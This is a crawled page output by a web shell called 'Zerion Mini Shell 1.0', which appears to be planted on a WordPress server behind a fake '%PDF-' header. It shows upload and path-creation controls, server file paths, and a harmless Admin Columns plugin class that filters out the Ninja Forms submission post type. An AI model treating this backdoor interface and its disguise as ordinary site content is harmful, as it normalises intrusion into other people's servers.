%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/cwg/wp-content/plugins/codepress-admin-columns/classes/ThirdParty/
Upload File :
Create Path :
Current File : //var/www/cwg/wp-content/plugins/codepress-admin-columns/classes/ThirdParty/NinjaForms.php

<?php

namespace AC\ThirdParty;

use AC\Registrable;

class NinjaForms implements Registrable {

	public function register() {
		add_filter( 'ac/post_types', [ $this, 'remove_nf_sub' ] );
	}

	public function remove_nf_sub( $post_types ) {
		if ( class_exists( 'Ninja_Forms', false ) ) {
			if ( isset( $post_types['nf_sub'] ) ) {
				unset( $post_types['nf_sub'] );
			}
		}

		return $post_types;
	}

}

Zerion Mini Shell 1.0